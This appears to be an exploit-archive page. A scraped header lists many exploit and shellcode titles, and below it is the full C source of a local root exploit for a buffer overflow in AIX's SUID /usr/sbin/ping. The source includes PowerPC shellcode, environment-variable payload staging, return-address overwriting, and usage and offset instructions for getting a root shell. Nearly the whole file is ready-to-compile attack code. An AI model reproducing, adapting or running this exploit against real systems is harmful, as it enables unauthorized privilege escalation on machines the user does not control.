
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
104 lines
No EOL
3.1 KiB
C
104 lines
No EOL
3.1 KiB
C
// source: https://www.securityfocus.com/bid/387/info
|
|
|
|
A buffer overflow condition exists in some versions of /usr/sbin/ping under AIX. Given that ping is SUID root, this overflow allows malicious users to gain root from it.
|
|
|
|
/*
|
|
*
|
|
* /usr/sbin/ping exploit (kinda' coded) by BeastMaster V
|
|
*
|
|
* CREDITS: this is simpy a modified version of an exploit
|
|
* posted by Georgi Guninski (guninski@hotmail.com)
|
|
*
|
|
* This will give a #rootshell# by overwriting a buffer
|
|
* in /usr/sbin/ping while ping is setuid to root.
|
|
* This exploit is designed for AIX 4.x on PPC platform.
|
|
*
|
|
*
|
|
* USAGE:
|
|
* $ cc -o foo -g aix_ping.c
|
|
* $ ./foo 5100
|
|
* #
|
|
*
|
|
*
|
|
* HINT: Try giving ranges from 5090 through 5500
|
|
*
|
|
* DISCLAIMER: use this program in a responsible manner.
|
|
*
|
|
* --> don't forget to visit http://www.rootshell.com
|
|
* --> for more goodies :-)
|
|
*
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
|
|
extern int execv();
|
|
|
|
#define MAXBUF 600
|
|
|
|
unsigned int code[]={
|
|
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
|
|
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
|
|
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
|
|
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
|
|
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
|
|
0x7c0903a6 , 0x4e800420, 0x0
|
|
};
|
|
|
|
char *createvar(char *name,char *value)
|
|
{
|
|
char *c;
|
|
int l;
|
|
|
|
l=strlen(name)+strlen(value)+4;
|
|
if (! (c=malloc(l))) {perror("error allocating");exit(2);};
|
|
strcpy(c,name);
|
|
strcat(c,"=");
|
|
strcat(c,value);
|
|
putenv(c);
|
|
return c;
|
|
}
|
|
|
|
main(int argc,char **argv,char **env)
|
|
{
|
|
unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
|
|
int min=100, max=280;
|
|
unsigned int return_address;
|
|
char *newenv[8];
|
|
char *args[4];
|
|
int offset=5300;
|
|
|
|
if (argc==2) offset = atoi(argv[1]);
|
|
|
|
pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt;
|
|
|
|
*((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
|
|
*((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff)
|
|
;
|
|
*((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
|
|
*((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff
|
|
);
|
|
|
|
return_address=(unsigned)&buf[0]+offset;
|
|
|
|
for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
|
|
strcpy((char*)&buf[nop],(char*)&code);
|
|
i=nop+strlen( (char*) &code)/4-1;
|
|
|
|
for(i=0;i<max-1;i++) frame[i]=return_address;
|
|
frame[i]=0;
|
|
|
|
newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
|
|
newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
|
|
newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
|
|
newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
|
|
newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
|
|
newenv[5]=NULL;
|
|
|
|
args[0]="ping";
|
|
args[1]=(char*)&frame[0];
|
|
execve("/usr/sbin/ping",args,newenv);
|
|
perror("Error executing execve \n");
|
|
|
|
} |